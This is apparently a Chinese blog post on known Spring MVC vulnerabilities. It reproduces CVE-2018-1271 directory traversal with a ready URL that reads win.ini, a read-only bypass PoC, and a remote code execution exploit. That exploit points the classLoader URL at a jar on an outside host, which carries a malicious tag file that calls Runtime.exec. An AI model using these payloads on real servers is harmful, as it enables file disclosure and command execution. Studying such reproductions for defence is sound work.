Spring MVC漏洞合集

Spring MVC 目录穿越漏洞(CVE-2018-1271)

漏洞简介

2018年04月05日,Pivotal公布了Spring MVC存在一个目录穿越漏洞(CVE-2018-1271)。Spring Framework版本5.0到5.0.4,4.3到4.3.14以及较旧的不受支持的版本允许应用程序配置Spring MVC以提供静态资源(例如CSS,JS,图像)。当Spring MVC的静态资源存放在Windows系统上时,攻击可以通过构造特殊URL导致目录遍历漏洞。

漏洞影响

Spring Framework 5.0 to 5.0.4.

Spring Framework 4.3 to 4.3.14

已不支持的旧版本仍然受影响

漏洞利用条件

Server运行于Windows系统上

要使用file协议打开资源文件目录

漏洞复现

复现环境

操作系统Windows

中间件jetty

环境搭建

1.下载 spring-mvc-showcase

git clone https://github.com/spring-projects/spring-mvc-showcase.git

修改pom.xml,使用Spring Framework 5.0.0。

 

.修改 Spring MVC 静态资源配置,可参考官方文档

通过官方文档可知有两种方式配置,可自行选择配置。此处通过重写WebMvcConfigurer中的addResourceHandlers方法来添加新的资源文件路径。在org.springframework.samples.mvc.config.WebMvcConfig添加以下代码即可,使用file://协议指定resources为静态文件目录。

registry.addResourceHandler("/resources/**").addResourceLocations("file:./src/main/resources/","/resources/");

3.使用 jetty 启动项目

mvn jetty:run

至此复现环境搭建完毕。

复现过程及结果

访问以下链接

http://localhost:8080/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini

 可以看到成功读取到win.ini的内容了。

Spring mvc数组只读权限绕过漏洞
 

poc :    http://inbreak.net/springmvc/testjsp.htm?names[0]=xxxxx

Spring mvc远程代码执行漏洞

现在再来看看怎么才能远程代码执行,每次想到这里,都会想到这个老外太有才了。
getURLs方法,其实用的地方真的不多,只有在TldLocationsCache类,对页面的tld标签库处理时,才会从这一堆URL中获取tld文件。它的原理是从URL中指定的目录,去获取tld文件,允许从网络中获取tld文件。当一个tld放在jar中时,可以通过

jar:http://inbreak.net/kxlzx.jar!/

这个URL,会下载到tomcat服务器一个jar文件,然后从jar文件中,寻找tld文件,并且根据tld文件,做spring mvc标签库的进一步解析。
Tld文件自己有个标准(详见jsp标签库),在解析的时候,是允许直接使用jsp语法的,所以这就出现了远程代码执行的最终效果。
这是spring-form.tld原本的部分内容示例


Form标签里面有个input的标签,会根据开发人员的定义,给这些参数默认赋值,前面说到它是支持jsp语法的,所以拿spring原本的/META-INF/spring-form.tld文件,替换其中内容,可以把这个tld的原本input tag的内容替换为:

<!-- <form:input/> tag -->
	<tag-file>
    <name>input</name>
    <path>/META-INF/tags/InputTag.tag</path>
  </tag-file>

这样指定让一个tag文件解析。
还缺一个/META-INF/tags/InputTag.tag

<%@ tag dynamic-attributes="dynattrs" %>
<%
 j java.lang.Runtime.getRuntime().exec("mkdir /tmp/PWNED"); 
%>

做出这样的替换后,当开发者在controller中将任何一个对象绑定表单,并且最终展示的jsp内容有下面这些:

<%@ taglib prefix="form" uri="http://www.springframework.org/tags/form"%>
<form:form commandName="user">
<form:input path="name"/>
</form:form>

攻击者访问url:

http://inbreak.net/springmvc/testjsp.htm? class.classLoader.URLs[0]=jar:http://inbreak.net/spring-exploit.jar!/

即可触发远程代码执行的效果,漏洞发布者写的POC真的很囧。原本页面会显示一个文本框才对,现在变成了一个空白,并且后台执行命令
mkdir /tmp/PWNED
注意,是所有的页面,凡是有input的地方,都会变成空白,这个标签直接被替换掉。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
基于Spring MVC的进销存管理系统是一个比较复杂的应用程序,需要进行充分的测试才能确保其质量和稳定性。以下是基于Spring MVC的进销存管理系统的运行测试建议: 1. 单元测试:单元测试是对系统中代码的最小单元进行测试。在基于Spring MVC的进销存管理系统中,可以对控制器、服务层、DAO层等代码进行单元测试。可以使用JUnit等测试框架进行单元测试,并使用Mockito等模拟框架模拟依赖项,以便更好地进行测试。 2. 集成测试:集成测试是对系统中各个模块之间的协作进行测试。在基于Spring MVC的进销存管理系统中,可以对系统中的不同模块进行集成测试,以确保这些模块能够协同工作并实现系统功能。 3. 系统测试:系统测试是对整个系统进行测试,确保系统的功能和性能符合用户需求。在基于Spring MVC的进销存管理系统中,可以使用Selenium等测试工具进行系统测试,模拟用户操作和场景,确保系统能够正常运行。 4. 性能测试:性能测试是对系统的性能进行测试。在基于Spring MVC的进销存管理系统中,可以使用JMeter等性能测试工具进行测试,以便找出系统在高负载情况下的瓶颈和性能问题。 5. 安全测试:安全测试是对系统的安全性进行测试。在基于Spring MVC的进销存管理系统中,可以使用OWASP ZAP等安全测试工具进行测试,以发现系统中的潜在安全漏洞并加以修复。 总之,在对基于Spring MVC的进销存管理系统进行测试时,需要进行多种类型的测试,包括单元测试、集成测试、系统测试、性能测试和安全测试等。通过充分的测试,才能保证系统的质量和稳定性,从而为企业提供可靠的库存和销售管理服务。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值